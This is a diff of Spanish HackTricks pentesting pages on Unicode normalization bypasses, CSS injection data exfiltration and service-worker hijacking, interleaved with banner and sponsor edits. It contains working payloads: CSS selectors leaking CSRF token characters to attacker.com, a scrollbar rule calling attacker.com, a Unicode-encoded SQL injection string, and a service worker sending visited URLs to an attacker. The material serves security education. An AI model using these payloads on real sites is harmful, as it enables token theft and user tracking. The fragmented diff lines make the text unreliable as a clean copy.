Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Este es un resumen de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consulta para más detalles (imágenes tomadas de allí).
|
||||
|
||||
## Entendiendo Unicode y Normalización
|
||||
|
@ -38,17 +24,17 @@ La normalización de Unicode es un proceso que asegura que diferentes representa
|
|||
1. **Equivalencia Canónica**: Los caracteres se consideran canónicamente equivalentes si tienen la misma apariencia y significado cuando se imprimen o se muestran.
|
||||
2. **Equivalencia de Compatibilidad**: Una forma más débil de equivalencia donde los caracteres pueden representar el mismo carácter abstracto pero pueden mostrarse de manera diferente.
|
||||
|
||||
Existen **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
|
||||
Hay **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
|
||||
|
||||
### Puntos Clave sobre la Codificación de Unicode
|
||||
### Puntos Clave sobre la Codificación Unicode
|
||||
|
||||
Entender la codificación de Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
|
||||
Entender la codificación Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
|
||||
|
||||
* **Puntos de Código y Caracteres**: En Unicode, a cada carácter o símbolo se le asigna un valor numérico conocido como "punto de código".
|
||||
* **Representación en Bytes**: El punto de código (o carácter) se representa mediante uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación.
|
||||
* **Representación en Bytes**: El punto de código (o carácter) se representa por uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación.
|
||||
* **Codificación**: Este término se refiere a cómo los caracteres se transforman en una serie de bytes. UTF-8 es un estándar de codificación prevalente donde los caracteres ASCII se representan utilizando un byte, y hasta cuatro bytes para otros caracteres.
|
||||
* **Procesamiento de Datos**: Los sistemas que procesan datos deben ser conscientes de la codificación utilizada para convertir correctamente el flujo de bytes en caracteres.
|
||||
* **Variantes de UTF**: Además de UTF-8, existen otros estándares de codificación como UTF-16 (que utiliza un mínimo de 2 bytes, hasta 4) y UTF-32 (que utiliza 4 bytes para todos los caracteres).
|
||||
* **Variantes de UTF**: Además de UTF-8, hay otros estándares de codificación como UTF-16 (que utiliza un mínimo de 2 bytes, hasta 4) y UTF-32 (que utiliza 4 bytes para todos los caracteres).
|
||||
|
||||
Es crucial comprender estos conceptos para manejar y mitigar eficazmente los problemas potenciales que surgen de la complejidad de Unicode y sus diversos métodos de codificación.
|
||||
|
||||
|
@ -58,9 +44,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
```
|
||||
**Una lista de caracteres equivalentes en Unicode se puede encontrar aquí:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) y [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
|
||||
|
||||
### Descubrimiento
|
||||
### Descubriendo
|
||||
|
||||
Si puedes encontrar dentro de una webapp un valor que se está devolviendo, podrías intentar enviar **‘KELVIN SIGN’ (U+0212A)** que **se normaliza a "K"** (puedes enviarlo como `%e2%84%aa`). **Si se devuelve una "K"**, entonces, se está realizando algún tipo de **normalización Unicode**.
|
||||
Si puedes encontrar dentro de una webapp un valor que se está devolviendo, podrías intentar enviar **‘KELVIN SIGN’ (U+0212A)** que **se normaliza a "K"** (puedes enviarlo como `%e2%84%aa`). **Si se devuelve una "K"**, entonces, se está realizando algún tipo de **normalización de Unicode**.
|
||||
|
||||
Otro **ejemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` después de **unicode** es `Leonishan`.
|
||||
|
||||
|
@ -100,7 +86,7 @@ Entonces, un usuario malicioso podría insertar un carácter Unicode diferente e
|
|||
" || 1==1//
|
||||
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
|
||||
```
|
||||
#### sqlmap template
|
||||
#### plantilla de sqlmap
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
|
||||
|
@ -110,7 +96,7 @@ Puedes usar uno de los siguientes caracteres para engañar a la webapp y explota
|
|||
|
||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (2).png>)
|
||||
|
||||
Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede ser enviado como: `%e2%89%ae` o como `%u226e`
|
||||
Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto se puede enviar como: `%e2%89%ae` o como `%u226e`
|
||||
|
||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1) (1).png>)
|
||||
|
||||
|
@ -120,35 +106,23 @@ Cuando el backend está **verificando la entrada del usuario con una regex**, pu
|
|||
|
||||
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para fuzzear el backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes consultar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,26 @@
|
|||
# CSS Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Selector de Atributo
|
||||
|
||||
Los selectores CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo value del elemento input comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
Los selectores CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
@ -50,17 +43,17 @@ input[name=csrf][value^=csrF] ~ * {
|
|||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Un ejemplo práctico de la explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Requisitos para la Inyección de CSS
|
||||
#### Requisitos previos para la inyección de CSS
|
||||
|
||||
Para que la técnica de Inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:
|
||||
Para que la técnica de inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:
|
||||
|
||||
1. **Longitud de la Carga Útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.
|
||||
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles generadas recientemente.
|
||||
3. **Recursos Externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
|
||||
1. **Longitud de la carga útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.
|
||||
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles recién generadas.
|
||||
3. **Recursos externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
|
||||
|
||||
### Selector de Atributo Ciego
|
||||
### Selector de atributo ciego
|
||||
|
||||
Como [**se explica en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\
|
||||
También es posible usar esos selectores para extraer información de varios bloques del mismo tipo como en:
|
||||
|
@ -73,7 +66,7 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
Combinando esto con la siguiente técnica de **@import**, es posible exfiltrar mucha **info usando inyección CSS desde páginas ciegas con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Combinar esto con la siguiente técnica de **@import**, es posible exfiltrar mucha **info usando inyección CSS desde páginas ciegas con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
|
@ -164,13 +157,13 @@ font-family: 'poc';
|
|||
- Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
|
||||
- La `font-family` para este elemento se establece en `'poc'`, como se define en la sección `<style>`.
|
||||
- Si el recurso (`favicon.ico`) no se carga, el contenido de respaldo (la letra 'A') dentro de la etiqueta `<object>` se muestra.
|
||||
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si no se puede cargar el recurso externo.
|
||||
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si el recurso externo no se puede cargar.
|
||||
|
||||
### Estilizando Fragmentos de Texto con Scroll
|
||||
### Estilizando Fragmento de Texto de Desplazamiento
|
||||
|
||||
La **`:target`** pseudo-clase se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [especificación de Selectores CSS Nivel 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.
|
||||
|
||||
Surge una preocupación de seguridad cuando los atacantes explotan la función de **fragmento de desplazamiento a texto**, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor a través de inyección HTML. El método implica inyectar una regla CSS como esta:
|
||||
Surge una preocupación de seguridad cuando los atacantes explotan la característica de **fragmento de desplazamiento de texto**, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor a través de inyección HTML. El método implica inyectar una regla CSS como esta:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
|
@ -182,15 +175,15 @@ Aquí, el ataque manipula la inyección de HTML para transmitir el código CSS,
|
|||
|
||||
Para la mitigación, se deben tener en cuenta los siguientes puntos:
|
||||
|
||||
1. **Coincidencia STTF Constrainida**: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.
|
||||
1. **Coincidencia STTF Constrainada**: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.
|
||||
2. **Restricción a Contextos de Navegación de Nivel Superior**: El STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, haciendo que cualquier intento de explotación sea más notable para el usuario.
|
||||
3. **Necesidad de Activación del Usuario**: El STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son viables solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques sean automatizados sin interacción del usuario. Sin embargo, el autor del blog señala condiciones específicas y bypass (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
|
||||
3. **Necesidad de Activación del Usuario**: El STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son viables solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques sean automatizados sin interacción del usuario. Sin embargo, el autor de la publicación del blog señala condiciones específicas y bypass (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
|
||||
|
||||
La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras.
|
||||
|
||||
Para más información, consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Puedes consultar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Puedes consultar un [**exploit usando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
|
@ -227,12 +220,12 @@ Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el n
|
|||
|
||||
La técnica descrita implica extraer texto de un nodo aprovechando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:
|
||||
|
||||
1. **Creación de fuentes personalizadas**:
|
||||
1. **Creación de Fuentes Personalizadas**:
|
||||
- Se crean fuentes SVG con glifos que tienen un atributo `horiz-adv-x`, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
|
||||
- Ejemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, donde "XY" denota una secuencia de dos caracteres.
|
||||
- Estas fuentes se convierten a formato woff usando fontforge.
|
||||
|
||||
2. **Detección de cambios de ancho**:
|
||||
2. **Detección de Cambios de Ancho**:
|
||||
- Se utiliza CSS para asegurar que el texto no se ajuste (`white-space: nowrap`) y para personalizar el estilo de la barra de desplazamiento.
|
||||
- La aparición de una barra de desplazamiento horizontal, estilizada de manera distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.
|
||||
- El CSS involucrado:
|
||||
|
@ -242,7 +235,7 @@ body::-webkit-scrollbar { background: blue; }
|
|||
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
||||
```
|
||||
|
||||
3. **Proceso de explotación**:
|
||||
3. **Proceso de Explotación**:
|
||||
- **Paso 1**: Se crean fuentes para pares de caracteres con un ancho sustancial.
|
||||
- **Paso 2**: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
|
||||
- **Paso 3**: Al detectar una ligadura, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter anterior o posterior.
|
||||
|
@ -430,9 +423,9 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará con éxito, el **navegador debería almacenarla en caché**, y aunque no haya caché, hay un mecanismo de **304 no modificado**, por lo que la **respuesta debería ser más rápida** que otras cosas.
|
||||
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará con éxito, el **navegador debería almacenarla en caché**, y incluso si no hay caché, hay un mecanismo de **304 no modificado**, por lo que la **respuesta debería ser más rápida** que otras cosas.
|
||||
|
||||
Sin embargo, si la diferencia de tiempo de la respuesta en caché con respecto a la no en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera `disk-cache-size=1`, lo cual es realmente considerado.
|
||||
Sin embargo, si la diferencia de tiempo de la respuesta en caché con respecto a la que no está en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera `disk-cache-size=1`, lo cual es realmente considerado.
|
||||
|
||||
### Exfiltración de nodos de texto (III): filtrando el charset al cargar cientos de "fuentes" locales (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
|
@ -464,12 +457,6 @@ Así que, si la fuente no coincide, se espera que el tiempo de respuesta al visi
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,34 +15,26 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
## Basic Information
|
||||
|
||||
Un **service worker** es un script ejecutado por tu navegador en segundo plano, separado de cualquier página web, que permite características que no requieren una página web o interacción del usuario, mejorando así las capacidades de **procesamiento en segundo plano y fuera de línea**. Se puede encontrar información detallada sobre los service workers [aquí](https://developers.google.com/web/fundamentals/primers/service-workers). Al explotar service workers dentro de un dominio web vulnerable, los atacantes pueden tomar control sobre las interacciones de la víctima con todas las páginas dentro de ese dominio.
|
||||
|
||||
### Comprobando Service Workers Existentes
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
Los service workers existentes se pueden comprobar en la sección de **Service Workers** de la pestaña **Application** en **Developer Tools**. Otro método es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para una vista más detallada.
|
||||
Los service workers existentes se pueden verificar en la sección de **Service Workers** de la pestaña **Application** en **Developer Tools**. Otro método es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para una vista más detallada.
|
||||
|
||||
### Notificaciones Push
|
||||
### Push Notifications
|
||||
|
||||
Los **permisos de notificación push** impactan directamente en la capacidad de un **service worker** para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, se limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.
|
||||
|
||||
## Ataque Creando un Service Worker
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
Para explotar esta vulnerabilidad necesitas encontrar:
|
||||
|
||||
* Una forma de **subir archivos JS arbitrarios** al servidor y un **XSS para cargar el service worker** del archivo JS subido.
|
||||
* Una **solicitud JSONP vulnerable** donde puedas **manipular la salida (con código JS arbitrario)** y un **XSS** para **cargar el JSONP con una carga útil** que **cargará un service worker malicioso**.
|
||||
|
||||
En el siguiente ejemplo voy a presentar un código para **registrar un nuevo service worker** que escuchará el evento `fetch` y **enviará al servidor del atacante cada URL obtenida** (este es el código que necesitarías **subir** al **servidor** o cargar a través de una respuesta **JSONP vulnerable**):
|
||||
En el siguiente ejemplo voy a presentar un código para **registrar un nuevo service worker** que escuchará el evento `fetch` y **enviará al servidor del atacante cada URL obtenida** (este es el código que necesitarías **subir** al **servidor** o cargar a través de una **respuesta JSONP vulnerable**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
|
@ -113,12 +105,6 @@ Para un ejemplo de esto, consulta el enlace de referencia.
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
